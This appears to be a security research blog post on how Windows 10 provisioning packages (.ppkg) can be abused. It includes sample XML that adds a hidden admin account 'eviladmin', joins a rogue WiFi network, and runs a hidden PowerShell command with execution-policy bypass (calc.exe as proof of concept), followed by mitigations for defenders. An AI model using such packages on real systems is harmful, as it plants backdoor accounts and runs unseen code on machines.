In Windows 10 there’s a handy way for administrators to provision systems by way of something known as a “Provisioning Package”. This blog explores these files which carry a .ppkg extension. We look at some of the features and what happens if you interact with one. Particularly focusing on if they could be used maliciously. Note: Double clicking a .ppkg file launches ‘provtool.exe’ which requires UAC elevation hence these files are limited to users with admin privileges.

To start your journey you will need to download the Microsoft’s Windows Imaging and Configuration Designer (WICD) tool. This can be installed by selecting “Configuration Designer” from the “Windows Assessment and Deployment Kit” available at [1].

Launching the tool which for me on Windows 10 (C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Imaging and Configuration Designer\x86\ICD.exe) gives you the following screen.

To create a PPKG you will likely need the “Provision desktop devices” option. Let’s create a project:

Now the first mandatory option of the wizard is the “Device Name” which accepts some wildcards.

Looking down the list of things to come, there’s some interesting options there that can be incorporated to a provisioning package. Firstly “Set up the network”, you can include a WiFi profile either Open or WPA2 PSK:

Now “Account Management”  where you have options to enroll to an AD or create a “Local admin”:

Now “Add applications”, this gives you the option to embed various file formats including .exe, .msi and .ps1 aswell as the command you desire to run them. Of course a one-liner (living off the land) should work too - but bear in mind you still need to embed an appropriate file to enable this option unless we are able to manually tweak this later.

Great all looking good, lets create our .ppkg:

If you unpack the .ppkg you will see some XML files (looking like the following) along with the resources.

<?xml version="1.0" encoding="utf-8"?>
<Settings xmlns="urn:schemas-microsoft-com:windows-provisioning">
 <Customizations>
   <Common>
     <Accounts>
       <ComputerAccount>
         <ComputerName>Evil-%SERIAL%</ComputerName>
       </ComputerAccount>
       <Users>
         <User UserName="eviladmin">
           <Password>Password123</Password>
           <UserGroup>Administrators</UserGroup>
         </User>
       </Users>
     </Accounts>
     <ConnectivityProfiles>
       <WLAN>
         <WLANSetting>
           <WLANConfig SSID="EvilWiFi">
             <WLANXmlSettings>
               <SecurityKey>Password123</SecurityKey>
               <SecurityType>WPA2-Personal</SecurityType>
             </WLANXmlSettings>
           </WLANConfig>
         </WLANSetting>
       </WLAN>
     </ConnectivityProfiles>
     <OOBE>
       <Desktop>
         <HideOobe>True</HideOobe>
       </Desktop>
     </OOBE>
     <Policies>
       <ApplicationManagement>
         <AllowAllTrustedApps>Yes</AllowAllTrustedApps>
       </ApplicationManagement>
     </Policies>
     <ProvisioningCommands>
       <PrimaryContext>
         <Command>
           <CommandConfig>
             <CommandFile>C:\Users\dtm\Desktop\a.ps1</CommandFile>
             <CommandLine>cmd /c "powershell -ep bypass -w hidden calc.exe"</CommandLine>
             <ContinueInstall>True</ContinueInstall>
             <RestartRequired>False</RestartRequired>
             <ReturnCodeRestart>3010</ReturnCodeRestart>
             <ReturnCodeSuccess>0</ReturnCodeSuccess>
           </CommandConfig>
         </Command>
       </PrimaryContext>
     </ProvisioningCommands>
   </Common>
 </Customizations>
</Settings>

Ok we’ve made it this far and we have incorporated some interesting things that would be useful to an attacker into our package. Let’s double click it. Now we get the UAC prompt first.

Now a warning:

If we click through, our command runs  - we get “calc.exe” launched via our PowerShell command. Windows wants to reboot though, however this can probably solved by fixing the expected return code.

Upon restart, notice our new admin user “eviladmin”:

Overall PPKG are fairly interesting. Whilst they are intended to be put to good use, it seems a potential attack surface for organizations who do not have any intention in provisioning devices this way. To mitigate some of the risk there is requirement to elevate and the need to click through several very clear warnings to interact with one.

Microsoft themselves state the benefits of the packages to include the fact they can be:

  • Attached to an email.
  • Downloaded from a network share.

With their benefit presumably considered as outweighing their risk, considering they require elevation and click-through of a warning message.

Advanced Provisioning

Using the default wizard forces you to carry out options such as changing the device name and adding a local user. However, it turns out there is a simple way to remove these.

Click 'Switch to advanced editor' - You can also start a new project in advanced mode too but the wizard was a good starting point.

From here you can access much more fine grained options and also remove options from the default template.

If we strip this back to just execution, now when clicking on the .ppkg you build there are less things listed:

Elevation Required

Starting as a low privileged domain user we try to run a simple .ppkg file that just executes 'calc.exe'.

So this means we cannot use a .ppkg as a low privileged user. If we enter admin creds or we were already an admin and elevated we now get this dialog.

Clicking 'Yes, add it' gives us calc.exe but we needed elevation...

For reference this is what a simple 'calc.exe' customizations.xml looks like:

<?xml version="1.0" encoding="utf-8"?>
<WindowsCustomizations>
 <PackageConfig xmlns="urn:schemas-Microsoft-com:Windows-ICD-Package-Config.v1.0">
   <ID>{64599e89-ca7e-42e3-b446-eac49104c4a2}</ID>
   <Name>Project_6</Name>
   <Version>1.4</Version>
   <OwnerType>OEM</OwnerType>
   <Rank>0</Rank>
   <Notes></Notes>
 </PackageConfig>
 <Settings xmlns="urn:schemas-microsoft-com:windows-provisioning">
   <Customizations>
     <Common>
       <ProvisioningCommands>
         <PrimaryContext>
           <Command>
             <CommandConfig Name="Safe">
               <CommandLine>calc.exe</CommandLine>
             </CommandConfig>
           </Command>
         </PrimaryContext>
       </ProvisioningCommands>
     </Common>
   </Customizations>
 </Settings>
</WindowsCustomizations>

Mitigations:

  • Raise awareness of the dangers of these provisioning files alike other 'dangerous' file extensions particularly to those with with Administrative rights.
  • Consider removing the file association for the .ppkg extension for provtool.exe by policy or as part of a hardening process for Windows 10 builds.
  • Block or monitor .ppkg file attachments and file downloads.
  • Block or monitor unexpected use of provtool.exe

Further Research

  • There is an extensive 'Advanced provisioning' area of the Windows Configuration Designer tool to give access to more fine grained configuration policies. There is much more functionality to explore.
  • Explore other tweaks of the underlying packaged contents and configuration files.

[1] Download and install the Windows ADK | Microsoft Docs
[2] [Provisioning packages (Windows 10) | Microsoft Docs] (https://docs.microsoft.com/en-us/windows/configuration/provisioning-packages/provisioning-packages)